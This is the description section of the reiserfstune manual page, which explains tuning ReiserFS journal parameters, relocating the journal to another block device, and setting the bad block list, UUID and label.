- Description -
reiserfstune is used for tuning the ReiserFS. It can change two journal
parameters (the journal size and the maximum transaction size), and it
can move the journalas location to a new specified block device. (The
old ReiserFSas journal may be kept unused, or discarded at the useras
option.) Besides that reiserfstune can store the bad block list to the
ReiserFS and set UUID and LABEL. Note: At the time of writing the
relocated journal was implemented for a special release of ReiserFS,
and was not expected to be put into the mainstream kernel until approx-
imately Linux 2.5. This means that if you have the stock kernel you
must apply a special patch. Without this patch the kernel will refuse
to mount the newly modified file system. We will charge $25 to explain
this to you if you ask us why it doesnat work.
Perhaps the most interesting application of this code is to put the
journal on a solid state disk.
device is the special file corresponding to the newly specified block
device (e.g /dev/hdXX for IDE disk partition or /dev/sdXX for
the SCSI disk partition).
